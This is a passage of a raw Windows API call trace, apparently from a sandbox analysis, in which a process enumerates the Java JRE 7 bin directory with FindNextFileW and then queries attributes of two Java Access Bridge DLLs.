	[0054.993] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpioji.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpishare.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.exe", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6dba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxslt.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x367a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjpi170_45.dll", cAlternateFileName="NPJPI1~1.DLL")) returned 1
	[0054.994] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x35da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npoji610.dll", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism-d3d.dll", cAlternateFileName="PRISM-~1.DLL")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x70fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1
	[0054.995] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x23ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x177a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-32.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1
	[0054.996] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b938 | out: lpFindFileData=0x1251b938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.996] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.996] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\JAWTAccessBridge-32.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jawtaccessbridge-32.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602328 | out: lpFileInformation=0x12602328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ba8)) returned 1
	[0054.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\JavaAccessBridge-32.dll" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javaaccessbridge-32.dll"), fInfoLevelId=0x0, lpFileInformation=0x12602378 | out: lpFileInformation=0x12602378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e7a8)) returned 1
